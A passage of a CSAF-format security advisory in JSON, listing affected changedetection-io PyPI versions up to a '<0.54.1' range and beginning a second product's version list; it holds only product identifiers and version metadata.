                                "product": {
                                    "name": "vers:unknown/0.46.0",
                                    "product_id": "CSAFPID-5723222",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.46.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.46.1",
                                "product": {
                                    "name": "vers:unknown/0.46.1",
                                    "product_id": "CSAFPID-5723223",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.46.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.46.2",
                                "product": {
                                    "name": "vers:unknown/0.46.2",
                                    "product_id": "CSAFPID-5723224",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.46.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.46.3",
                                "product": {
                                    "name": "vers:unknown/0.46.3",
                                    "product_id": "CSAFPID-5723225",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.46.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.46.4",
                                "product": {
                                    "name": "vers:unknown/0.46.4",
                                    "product_id": "CSAFPID-5723226",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.46.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.0",
                                "product": {
                                    "name": "vers:unknown/0.47.0",
                                    "product_id": "CSAFPID-5723227",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.47.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.1",
                                "product": {
                                    "name": "vers:unknown/0.47.1",
                                    "product_id": "CSAFPID-5723228",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.47.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.2",
                                "product": {
                                    "name": "vers:unknown/0.47.2",
                                    "product_id": "CSAFPID-5723229",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.47.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.3",
                                "product": {
                                    "name": "vers:unknown/0.47.3",
                                    "product_id": "CSAFPID-5723230",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.47.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.4",
                                "product": {
                                    "name": "vers:unknown/0.47.4",
                                    "product_id": "CSAFPID-5723231",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.47.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.5",
                                "product": {
                                    "name": "vers:unknown/0.47.5",
                                    "product_id": "CSAFPID-5723232",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.47.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.47.6",
                                "product": {
                                    "name": "vers:unknown/0.47.6",
                                    "product_id": "CSAFPID-5723233",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.47.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.0",
                                "product": {
                                    "name": "vers:unknown/0.48.0",
                                    "product_id": "CSAFPID-5723234",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.48.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.1",
                                "product": {
                                    "name": "vers:unknown/0.48.1",
                                    "product_id": "CSAFPID-5723235",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.48.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.2",
                                "product": {
                                    "name": "vers:unknown/0.48.2",
                                    "product_id": "CSAFPID-5723236",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.48.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.3",
                                "product": {
                                    "name": "vers:unknown/0.48.3",
                                    "product_id": "CSAFPID-5723237",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.48.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.4",
                                "product": {
                                    "name": "vers:unknown/0.48.4",
                                    "product_id": "CSAFPID-5723238",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.48.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.5",
                                "product": {
                                    "name": "vers:unknown/0.48.5",
                                    "product_id": "CSAFPID-5723239",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.48.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.48.6",
                                "product": {
                                    "name": "vers:unknown/0.48.6",
                                    "product_id": "CSAFPID-5723240",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.48.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.0",
                                "product": {
                                    "name": "vers:unknown/0.49.0",
                                    "product_id": "CSAFPID-5723241",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.1",
                                "product": {
                                    "name": "vers:unknown/0.49.1",
                                    "product_id": "CSAFPID-5723242",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.10",
                                "product": {
                                    "name": "vers:unknown/0.49.10",
                                    "product_id": "CSAFPID-5723243",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.10"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.12",
                                "product": {
                                    "name": "vers:unknown/0.49.12",
                                    "product_id": "CSAFPID-5723244",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.12"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.13",
                                "product": {
                                    "name": "vers:unknown/0.49.13",
                                    "product_id": "CSAFPID-5723245",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.13"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.14",
                                "product": {
                                    "name": "vers:unknown/0.49.14",
                                    "product_id": "CSAFPID-5723246",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.14"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.15",
                                "product": {
                                    "name": "vers:unknown/0.49.15",
                                    "product_id": "CSAFPID-5723247",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.15"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.16",
                                "product": {
                                    "name": "vers:unknown/0.49.16",
                                    "product_id": "CSAFPID-5723248",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.16"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.17",
                                "product": {
                                    "name": "vers:unknown/0.49.17",
                                    "product_id": "CSAFPID-5723249",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.17"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.18",
                                "product": {
                                    "name": "vers:unknown/0.49.18",
                                    "product_id": "CSAFPID-5723250",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.18"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.2",
                                "product": {
                                    "name": "vers:unknown/0.49.2",
                                    "product_id": "CSAFPID-5723251",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.3",
                                "product": {
                                    "name": "vers:unknown/0.49.3",
                                    "product_id": "CSAFPID-5723252",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.4",
                                "product": {
                                    "name": "vers:unknown/0.49.4",
                                    "product_id": "CSAFPID-5723253",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.5",
                                "product": {
                                    "name": "vers:unknown/0.49.5",
                                    "product_id": "CSAFPID-5723254",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.6",
                                "product": {
                                    "name": "vers:unknown/0.49.6",
                                    "product_id": "CSAFPID-5723255",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.7",
                                "product": {
                                    "name": "vers:unknown/0.49.7",
                                    "product_id": "CSAFPID-5723256",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.8",
                                "product": {
                                    "name": "vers:unknown/0.49.8",
                                    "product_id": "CSAFPID-5723257",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.49.9",
                                "product": {
                                    "name": "vers:unknown/0.49.9",
                                    "product_id": "CSAFPID-5723258",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.49.9"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.1",
                                "product": {
                                    "name": "vers:unknown/0.50.1",
                                    "product_id": "CSAFPID-5723259",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.10",
                                "product": {
                                    "name": "vers:unknown/0.50.10",
                                    "product_id": "CSAFPID-5723260",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.10"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.11",
                                "product": {
                                    "name": "vers:unknown/0.50.11",
                                    "product_id": "CSAFPID-5723261",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.11"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.12",
                                "product": {
                                    "name": "vers:unknown/0.50.12",
                                    "product_id": "CSAFPID-5723262",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.12"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.13",
                                "product": {
                                    "name": "vers:unknown/0.50.13",
                                    "product_id": "CSAFPID-5723263",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.13"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.14",
                                "product": {
                                    "name": "vers:unknown/0.50.14",
                                    "product_id": "CSAFPID-5723264",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.14"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.15",
                                "product": {
                                    "name": "vers:unknown/0.50.15",
                                    "product_id": "CSAFPID-5723265",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.15"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.16",
                                "product": {
                                    "name": "vers:unknown/0.50.16",
                                    "product_id": "CSAFPID-5723266",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.16"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.17",
                                "product": {
                                    "name": "vers:unknown/0.50.17",
                                    "product_id": "CSAFPID-5723267",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.17"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.18",
                                "product": {
                                    "name": "vers:unknown/0.50.18",
                                    "product_id": "CSAFPID-5723268",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.18"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.19",
                                "product": {
                                    "name": "vers:unknown/0.50.19",
                                    "product_id": "CSAFPID-5723269",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.19"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.2",
                                "product": {
                                    "name": "vers:unknown/0.50.2",
                                    "product_id": "CSAFPID-5723270",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.20",
                                "product": {
                                    "name": "vers:unknown/0.50.20",
                                    "product_id": "CSAFPID-5723271",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.20"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.21",
                                "product": {
                                    "name": "vers:unknown/0.50.21",
                                    "product_id": "CSAFPID-5723272",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.21"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.22",
                                "product": {
                                    "name": "vers:unknown/0.50.22",
                                    "product_id": "CSAFPID-5723273",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.22"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.23",
                                "product": {
                                    "name": "vers:unknown/0.50.23",
                                    "product_id": "CSAFPID-5723274",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.23"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.24",
                                "product": {
                                    "name": "vers:unknown/0.50.24",
                                    "product_id": "CSAFPID-5723275",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.24"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.25",
                                "product": {
                                    "name": "vers:unknown/0.50.25",
                                    "product_id": "CSAFPID-5723276",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.25"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.26",
                                "product": {
                                    "name": "vers:unknown/0.50.26",
                                    "product_id": "CSAFPID-5723277",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.26"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.27",
                                "product": {
                                    "name": "vers:unknown/0.50.27",
                                    "product_id": "CSAFPID-5723278",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.27"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.28",
                                "product": {
                                    "name": "vers:unknown/0.50.28",
                                    "product_id": "CSAFPID-5723279",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.28"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.29",
                                "product": {
                                    "name": "vers:unknown/0.50.29",
                                    "product_id": "CSAFPID-5723280",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.29"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.3",
                                "product": {
                                    "name": "vers:unknown/0.50.3",
                                    "product_id": "CSAFPID-5723281",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.30",
                                "product": {
                                    "name": "vers:unknown/0.50.30",
                                    "product_id": "CSAFPID-5723282",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.30"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.31",
                                "product": {
                                    "name": "vers:unknown/0.50.31",
                                    "product_id": "CSAFPID-5723283",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.31"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.32",
                                "product": {
                                    "name": "vers:unknown/0.50.32",
                                    "product_id": "CSAFPID-5723284",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.32"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.33",
                                "product": {
                                    "name": "vers:unknown/0.50.33",
                                    "product_id": "CSAFPID-5723285",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.33"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.34",
                                "product": {
                                    "name": "vers:unknown/0.50.34",
                                    "product_id": "CSAFPID-5723286",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.34"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.35",
                                "product": {
                                    "name": "vers:unknown/0.50.35",
                                    "product_id": "CSAFPID-5723287",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.35"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.37",
                                "product": {
                                    "name": "vers:unknown/0.50.37",
                                    "product_id": "CSAFPID-5723288",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.37"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.38",
                                "product": {
                                    "name": "vers:unknown/0.50.38",
                                    "product_id": "CSAFPID-5723289",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.38"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.39",
                                "product": {
                                    "name": "vers:unknown/0.50.39",
                                    "product_id": "CSAFPID-5723290",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.39"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.4",
                                "product": {
                                    "name": "vers:unknown/0.50.4",
                                    "product_id": "CSAFPID-5723291",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.40",
                                "product": {
                                    "name": "vers:unknown/0.50.40",
                                    "product_id": "CSAFPID-5723292",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.40"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.41",
                                "product": {
                                    "name": "vers:unknown/0.50.41",
                                    "product_id": "CSAFPID-5723294",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.41"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.42",
                                "product": {
                                    "name": "vers:unknown/0.50.42",
                                    "product_id": "CSAFPID-5723295",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.42"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.43",
                                "product": {
                                    "name": "vers:unknown/0.50.43",
                                    "product_id": "CSAFPID-5723296",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.43"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.5",
                                "product": {
                                    "name": "vers:unknown/0.50.5",
                                    "product_id": "CSAFPID-5723297",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.6",
                                "product": {
                                    "name": "vers:unknown/0.50.6",
                                    "product_id": "CSAFPID-5723298",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.7",
                                "product": {
                                    "name": "vers:unknown/0.50.7",
                                    "product_id": "CSAFPID-5723299",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.8",
                                "product": {
                                    "name": "vers:unknown/0.50.8",
                                    "product_id": "CSAFPID-5723301",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.50.9",
                                "product": {
                                    "name": "vers:unknown/0.50.9",
                                    "product_id": "CSAFPID-5723302",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.50.9"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.51.0",
                                "product": {
                                    "name": "vers:unknown/0.51.0",
                                    "product_id": "CSAFPID-5723303",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.51.0"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.51.1",
                                "product": {
                                    "name": "vers:unknown/0.51.1",
                                    "product_id": "CSAFPID-5723304",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.51.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.51.2",
                                "product": {
                                    "name": "vers:unknown/0.51.2",
                                    "product_id": "CSAFPID-5723305",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.51.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.51.3",
                                "product": {
                                    "name": "vers:unknown/0.51.3",
                                    "product_id": "CSAFPID-5723306",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.51.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.51.4",
                                "product": {
                                    "name": "vers:unknown/0.51.4",
                                    "product_id": "CSAFPID-5723307",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.51.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.1",
                                "product": {
                                    "name": "vers:unknown/0.52.1",
                                    "product_id": "CSAFPID-5723308",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.52.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.2",
                                "product": {
                                    "name": "vers:unknown/0.52.2",
                                    "product_id": "CSAFPID-5723309",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.52.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.3",
                                "product": {
                                    "name": "vers:unknown/0.52.3",
                                    "product_id": "CSAFPID-5723310",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.52.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.4",
                                "product": {
                                    "name": "vers:unknown/0.52.4",
                                    "product_id": "CSAFPID-5723311",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.52.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.5",
                                "product": {
                                    "name": "vers:unknown/0.52.5",
                                    "product_id": "CSAFPID-5723312",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.52.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.6",
                                "product": {
                                    "name": "vers:unknown/0.52.6",
                                    "product_id": "CSAFPID-5723313",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.52.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.7",
                                "product": {
                                    "name": "vers:unknown/0.52.7",
                                    "product_id": "CSAFPID-5723314",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.52.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.8",
                                "product": {
                                    "name": "vers:unknown/0.52.8",
                                    "product_id": "CSAFPID-5723315",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.52.8"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.52.9",
                                "product": {
                                    "name": "vers:unknown/0.52.9",
                                    "product_id": "CSAFPID-5723316",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.52.9"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.1",
                                "product": {
                                    "name": "vers:unknown/0.53.1",
                                    "product_id": "CSAFPID-5723317",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.53.1"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.2",
                                "product": {
                                    "name": "vers:unknown/0.53.2",
                                    "product_id": "CSAFPID-5723318",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.53.2"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.3",
                                "product": {
                                    "name": "vers:unknown/0.53.3",
                                    "product_id": "CSAFPID-5723319",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.53.3"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.4",
                                "product": {
                                    "name": "vers:unknown/0.53.4",
                                    "product_id": "CSAFPID-5723320",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.53.4"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.5",
                                "product": {
                                    "name": "vers:unknown/0.53.5",
                                    "product_id": "CSAFPID-5723321",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.53.5"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.6",
                                "product": {
                                    "name": "vers:unknown/0.53.6",
                                    "product_id": "CSAFPID-5723322",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.53.6"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.53.7",
                                "product": {
                                    "name": "vers:unknown/0.53.7",
                                    "product_id": "CSAFPID-5723327",
                                    "product_identification_helper": {
                                        "purl": "pkg:pypi/changedetection-io@0.53.7"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<0.54.1",
                                "product": {
                                    "name": "vers:unknown/>=0|<0.54.1",
                                    "product_id": "CSAFPID-5723328"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "changedetection-io"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.1",
                                "product": {
                                    "name": "vers:unknown/0.1",
                                    "product_id": "CSAFPID-3624450"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.11",
                                "product": {
                                    "name": "vers:unknown/0.11",
                                    "product_id": "CSAFPID-3624451"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.12",
                                "product": {
                                    "name": "vers:unknown/0.12",
                                    "product_id": "CSAFPID-3624452"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.2",
                                "product": {
                                    "name": "vers:unknown/0.2",
                                    "product_id": "CSAFPID-3624453"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.21",
                                "product": {
                                    "name": "vers:unknown/0.21",
                                    "product_id": "CSAFPID-3624454"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.22",
                                "product": {
                                    "name": "vers:unknown/0.22",
                                    "product_id": "CSAFPID-3624455"
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/0.23",
                                "product": {
